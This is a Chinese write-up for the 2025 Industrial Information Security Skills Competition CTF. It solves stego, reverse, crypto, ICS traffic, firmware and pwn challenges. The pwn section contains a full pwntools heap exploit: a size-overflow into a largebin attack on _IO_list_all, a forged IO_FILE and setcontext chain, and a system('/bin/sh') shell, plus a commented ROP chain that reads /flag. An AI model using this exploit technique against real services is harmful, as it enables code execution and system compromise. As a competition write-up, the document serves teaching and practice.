2025年第九届工业信息安全技能大赛典型工业场景锦标赛CTF wp
2025年第九届工业信息安全技能大赛典型工业场景锦标赛CTF wp
抓内鬼啦 ✅
从中可以导出一张宽高错误的 PNG 还有一个压缩包
压缩包直接解压可以得到第二段的 flag:Great_G0t_it!}
Polis{W0w_Th1s_1s_f1agO1_
Babyre ✅
直接看 main 函数逻辑
每 4 个字节一组,对输入做 encrypt,跟 secret[] 比较
因为 ROR
的逆是 ROL
,所以直接用 12 位循环移位恢复即可
secret = [
0x8301F735, 0xEA586A9E, 0xFF89A3A9, 0x41C7EB25,
0x72001600, 0xB819FF5D, 0xCAFA972C, 0x0
]
key = [0x12345678, 0x9ABCDEF0, 0x0FEDCBA9, 0x87654321]
def rol(x, r):
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def ror(x, r):
return ((x >> r) | (x << (32 - r))) & 0xFFFFFFFF
flag = b""
for i, y in enumerate(secret):
k = key[i % 4]
block = rol(y ^ rol(k, 12), 12) # 解密公式
flag += block.to_bytes(4, "little")
print(flag)
b'flag{R3v3r53_15_v3ry_good!}
异常的数据流量包 ✅
流量中找到
下载来个 txt 是莫斯
流量里面还通过modbus协议传了一个pdf文件 提出来 使用上面莫斯解出来的密码可以解锁pdf 复制全部内容出来 发现flag
图片的奥秘 ✅
给了压缩包 先爆破密码
解压之后
末尾还有
扫一下
但其实后面还有九张图
拼一下图
fdvbpy4zl9klge9fb7n8caa0vz7g1600e557e2adb0b5eICphorM5FEDVW3LyOisUdX4kv9JtSmP01QxRBl6THjgAcnfYubGZqwKz7asnow
工控宣传的隐秘信号 ✅
先是一个音频倒放 在线网站操作一下 得到压缩包密码
s0803y0518
解压得到 gif 分帧 找到二维码
把他左下角这个定位码截出来 填上右上角 扫一下 解码
why_not_substitution✅
- 明文字符集大小 n=41(”!@#¥%” + a-z + 0-9),在 GF(41) 上做按位替换:每个字符的索引 i 被同一个多项式 f(i) 映射到密文字符索引。
- 已知 flag[0:7] = flkejiy,且密文前 7 位对应同位置。用这 7 对 (x_i, y_i) 做拉格朗日插值,恢复出次数 ≤6 的多项式 f(确实得到一个 7 次以下多项式)。
- 由于 f 不是置换多项式(有碰撞),直接求逆会多对一,无法唯一解密;于是对每一位枚举所有可行前像,结合已知前缀约束做有界回溯,在约 353 万个组合里穷举验证 SHA-256,命中即为 flag。
# Brute-force search over candidate preimages constrained by enc and known prefix.
# We will enumerate all possibilities and check SHA-256.
import hashlib
CHARSET = "!@#¥%" + ascii_lowercase + digits
target_hash = "7d41757168a2199b32cb1744de130fdebda25271116bc64eccf4e397770d73c2"
cand_lists = []
for j, c in enumerate(enc):
y = idx(c)
cands = preimages[y][:]
if j < len(known_prefix):
forced = idx(known_prefix[j])
cands = [forced] if forced in cands else []
cand_lists.append(cands)
# Quick impossibility check
if any(len(c)==0 for c in cand_lists):
raise RuntimeError("No solution because a position has no candidates consistent with the known prefix.")
# Depth-first search
best = None
count = 0
solution = None
# We'll implement an explicit stack to avoid recursion overhead
stack = [(0, [])] # (position, chosen_indices_so_far)
while stack:
pos, chosen = stack.pop()
if pos == len(cand_lists):
# Check hash
plaintext = "".join(CHARSET[i] for i in chosen)
h = hashlib.sha256(plaintext.encode("utf-8")).hexdigest()
count += 1
if h == target_hash:
solution = plaintext
break
continue
# push next states; to be efficient, iterate candidates directly
for i in cand_lists[pos]:
stack.append((pos+1, chosen + [i]))
print("Tried candidates:", count)
print("Found solution:", solution)
工业控制协议流量分析 1✅
利用 tshark 提取数据
tshark -r 工业控制协议流量分析1.pcap -T fields -Y 'tcp' -e frame.number -e tpkt.continuation_data -e tcp.segment_data
发现长度异常数据,其中含有 flag 拼接
工业控制协议流量分析 2✅
利用该命令提取出数据信息
tshark -r 工业控制协议流量分析2.pcap -T fields -Y 'tcp' -e frame.number -e tpkt.continuation_data -e tcp.segment_data
发现异常数据
213 行得到密码
216 行之后的异常数据提取倒数第二个字节,得到压缩包
用上面的密码解压 MMS12345
得到flag
工业控制协议流量分析 3✅
flag{ruEf6OmqhAlXIYxmnR1XLC6R1]}
工业日志分析 ✅
这两部分直接解码 flag{4e54fa7c-c530-4c5c-985e-2e15871ddf04}
pwn-网关劫持✅
打开 ida 看一眼发现是堆题,去查看 libc 版本
查看 libc 版本为
这里分析 add 功能,发现在输入 size 过程中,存在溢出,可以输入一个负数,让读入的 size 变大
Edit 功能延用的 size 也会受到影响造成堆溢出,于是就可以构造 largebin_attack 打 io_list_all
最后写入链子,构造一个 read 读入一个 system 链子构成 system(“/bin/sh”),最后 exit 触发拿到 shell
from pwn import *
from struct import pack
from LibcSearcher import *
def bug():
gdb.attach(p)
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base + libc.sym['__malloc_hook'], libc_base + libc.sym['__free_hook']
pr = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x: print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux', arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
#p = remote('target_ip', target_port)
def choice(a):
sla("choice: ",str(a))
def add(size,content):
choice(1)
sla(b'length: ',str(size))
sa(b'data: ',content)
def detele(idx):
choice(2)
sla('index: ',str(idx))
def show(idx):
choice(3)
sla('index: ',str(idx))
def edit(idx,con):
choice(4)
sla('index: ',str(idx))
s(con)
add(-0x18,b'A')
add(0x440-0x18,b'A')
add(-0x18,b'A')
add(0x430-0x18,b'A')
detele(2)
edit(1,b'A'*0xf+b'B')
show(1)
rl(b'B')
libc_base=u64(p.recv(6).ljust(8, b'\x00'))-0x21ace0
ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
system,bin_sh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
edit(1,b'A'*0x8+p64(0x451))
add(0x500,b'A')
detele(4)
edit(1,b'A'*8+p64(0x451)+p64(0)*3+p64(_IO_list_all-0x20))
add(0x500,b'A')
edit(1,b'A'*0x10)
show(1)
rl(b'A'*0x10)
heap_base=u64(p.recv(3).ljust(8, b'\x00'))
edit(1,b'A'*0x8+p64(0x451))
IO_FILE1 = p64(0)*3+p64(1)
IO_FILE1 = IO_FILE1.ljust(0x60,b'\x00')
IO_FILE1+= p64(0)+p64(heap_base+0x90)+p64(0)+p64(read)+p64(0x200)
IO_FILE1 = IO_FILE1.ljust(0x90,b'\x00')+p64(heap_base+8)
IO_FILE1+= p64(heap_base+0x88) + p64(rdi+1)
IO_FILE1 = IO_FILE1.ljust(0xb0,b'\x00')
IO_FILE1 = IO_FILE1.ljust(0xc8,b'\x00')+p64(_IO_wfile_jumps)
IO_FILE1+= p64(setcontext+61)
IO_FILE1+= p64(heap_base+0x78)
'''
pay =b'/flag\x00\x00\x00'+p64(rdi) + p64(chunk3+0xf0)+p64(rsi)+p64(0)+p64(open)
pay+=p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x200)+p64(rdx)+p64(0x50)*5+p64(read)
pay+=p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x200)+p64(write)
'''
edit(3,p64(0)+p64(0x451)+IO_FILE1)
choice(5)
pay=p64(rdi)+p64(bin_sh)+p64(system)
sl(pay)
inter()
固件分析 1✅
题目附件给了一个 img 文件,直接 DIskGenius 打开
可以得到 sh、motd、hidden.7z 这几个文件
motd 中可以得到 flag1:
OpenPLC Boot
ZmxhZ3thNjMwMG
7z 里有个 flag2 但是是加密的,从 sh 中可以得到解压密码 Secret_PLC2025
flag2.txt 中内容如下:
E4MC01MGE4LTRm
然后尝试直接 strings 这个 img,可以得到另外两段
最后尝试组合一下即可得到最后的 flag:flag{a6300a80-50a8-4f3f-b339-3ac9c76ae902}
设计图之秘 ✅
直接 stegseek 爆破
提出来的就是 flag
音频隐写 ✅
根据频率匹配写脚本,匹配出来的字符串就是 flag
import sys
import numpy as np
from scipy.io import wavfile
# 频率与字符的对照表
FREQ_MAP = {
'a': 440, 'b': 466, 'c': 494, 'd': 523, 'e': 554,
'f': 587, 'g': 622, 'h': 659, 'i': 698, 'j': 740,
'k': 784, 'l': 830, 'm': 880, 'n': 932, 'o': 988,
'p': 1047, 'q': 1109, 'r': 1175, 's': 1245, 't': 1319,
'u': 1397, 'v': 1480, 'w': 1568, 'x': 1661, 'y': 1760, 'z': 1865,
'1': 1000, '2': 2000, '3': 3000, '4': 4000, '5': 5000,
'6': 6000, '7': 7000, '8': 8000, '9': 9000, '0': 10000,
'A': 445, 'B': 471, 'C': 499, 'D': 528, 'E': 559,
'F': 592, 'G': 627, 'H': 664, 'I': 703, 'J': 745,
'K': 789, 'L': 835, 'M': 885, 'N': 937, 'O': 993,
'P': 1052, 'Q': 1114, 'R': 1180, 'S': 1250, 'T': 1324,
'U': 1402, 'V': 1485, 'W': 1573, 'X': 1666, 'Y': 1765, 'Z': 1870,
}
def find_closest_char(target_freq):
"""
在对照表中查找最接近给定频率的字符。
"""
if not FREQ_MAP or target_freq < 100: # 忽略低频噪声
return None
closest_char = min(FREQ_MAP.keys(), key=lambda char: abs(FREQ_MAP[char] - target_freq))
# 如果最接近的频率差也很大,可能是一个无效音调,可以忽略
if abs(FREQ_MAP[closest_char] - target_freq) > 30: # 阈值可以调整
return None
return closest_char
def analyze_wav_sequentially(file_path, chunk_duration_ms=100):
"""
按时间顺序分析 WAV 文件,解码出一系列字符。
"""
try:
sample_rate, data = wavfile.read(file_path)
except FileNotFoundError:
print(f"错误: 文件 '{file_path}' 未找到。")
return None
except Exception as e:
print(f"读取或处理文件时出错: {e}")
return None
if data.ndim > 1:
data = data[:, 0]
# 计算每个块的大小(样本数)
chunk_size = int(sample_rate * chunk_duration_ms / 1000)
if chunk_size == 0:
print("错误: chunk_duration_ms 太小,无法创建有效的分析块。")
return ""
num_chunks = len(data) // chunk_size
decoded_chars = []
last_char = None
print(f"开始顺序分析 '{file_path}'...")
print(f"采样率: {sample_rate} Hz, 块时长: {chunk_duration_ms} ms, 总块数: {num_chunks}")
print("-" * 30)
for i in range(num_chunks):
start = i * chunk_size
end = start + chunk_size
chunk = data[start:end]
# 对当前块进行 FFT 分析
fft_spectrum = np.fft.rfft(chunk)
fft_freq = np.fft.rfftfreq(len(chunk), 1.0 / sample_rate)
# 找到主频率
if len(fft_spectrum) > 1:
peak_index = np.argmax(np.abs(fft_spectrum[1:])) + 1
dominant_frequency = fft_freq[peak_index]
# 查找对应的字符
char = find_closest_char(dominant_frequency)
# 为了避免一个长音被重复记录,只有当字符变化时才记录
if char and char != last_char:
decoded_chars.append(char)
last_char = char
final_message = "".join(decoded_chars)
print("分析完成。")
print(f"解码出的字符序列: {final_message}")
return final_message
if __name__ == "__main__":
if len(sys.argv) != 2:
print("使用方法: python analyze_wav_sequentially.py <your_wav_file.wav>")
sys.exit(1)
wav_file = sys.argv[1]
analyze_wav_sequentially(wav_file, chunk_duration_ms=100)
开局一张图 ✅
直接 lsb 隐写
所见即是开始 ✅
先是对盲文
是 hanoi floor is 9 就是哈诺塔是 9 层的意思 用这个当密码解开压缩包
这里也没玩过这个 就直接调 ai
# 生成 9 盘汉诺塔从 A → C(B 为辅助)的完整移动序列
# 输出格式:盘号+当前柱+去往柱,例如:1AC
def hanoi(n: int, src: str, aux: str, dst: str, moves: list[str]) -> None:
if n == 0:
return
hanoi(n - 1, src, dst, aux, moves)
moves.append(f"{n}{src}{dst}")
hanoi(n - 1, aux, src, dst, moves)
def main():
moves: list[str] = []
hanoi(9, "A", "B", "C", moves)
# 每行一个
with open("hanoi_moves.txt", "w", encoding="utf-8") as f:
for m in moves:
f.write(m + "\n")
# 全部拼接成一行
with open("hanoi_moves_joined.txt", "w", encoding="utf-8") as f:
f.write("".join(moves))
print(f"共 {len(moves)} 步,已生成 hanoi_moves.txt 与 hanoi_moves_joined.txt")
if __name__ == "__main__":
main()
最后得到结果
1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB7AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC8AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB6CA1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA7CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB9AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC7BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB6CA1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA8BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC6AB1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA5CB1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB7AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC5BA1CB2CA1BA3CB1AC2AB1CB4CA1BA2BC1AC3BA1CB2CA1BA6BC1AC2AB1CB3AC1BA2BC1AC4AB1CB2CA1BA3CB1AC2AB1CB5AC1BA2BC1AC3BA1CB2CA1BA4BC1AC2AB1CB3AC1BA2BC1AC
很长一段 直接交就是 flag